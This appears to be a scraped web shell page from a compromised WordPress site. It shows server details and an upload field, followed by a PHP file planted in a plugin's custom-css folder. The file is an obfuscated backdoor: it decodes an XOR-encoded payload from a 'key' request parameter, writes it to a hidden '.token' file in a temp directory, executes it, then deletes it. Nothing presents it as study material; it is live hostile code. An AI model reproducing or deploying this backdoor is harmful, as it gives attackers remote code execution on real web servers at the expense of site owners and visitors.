| Server IP : 198.38.94.67 / Your IP : 216.73.217.74 Web Server : LiteSpeed System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64 User : azfilmst ( 1070) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/azfilmst/zeuszamani.com/wp-content/plugins/themerain-core/includes/custom-css/ |
Upload File : |
<?php
if(count($_REQUEST) > 0 && isset($_REQUEST["key"])){
$element = $_REQUEST["key"];
$element =explode ( "." , $element ) ;
$marker = '';
$s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s2 );
$len = count($element );
for($j = 0; $j < $len; $j++) { $v5 = $element[$j];
$chS = ord($s2[$j % $sLen] );
$dec = ((int)$v5 - $chS -($j % 10)) ^ 35;
$marker.= chr($dec );
}
$flag = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]);
while ($dat = array_shift($flag)) {
if (is_writable($dat) && is_dir($dat)) {
$dchunk = sprintf("%s/.token", $dat);
if (@file_put_contents($dchunk, $marker) !== false) {
include $dchunk;
unlink($dchunk);
exit;
}
}
}
}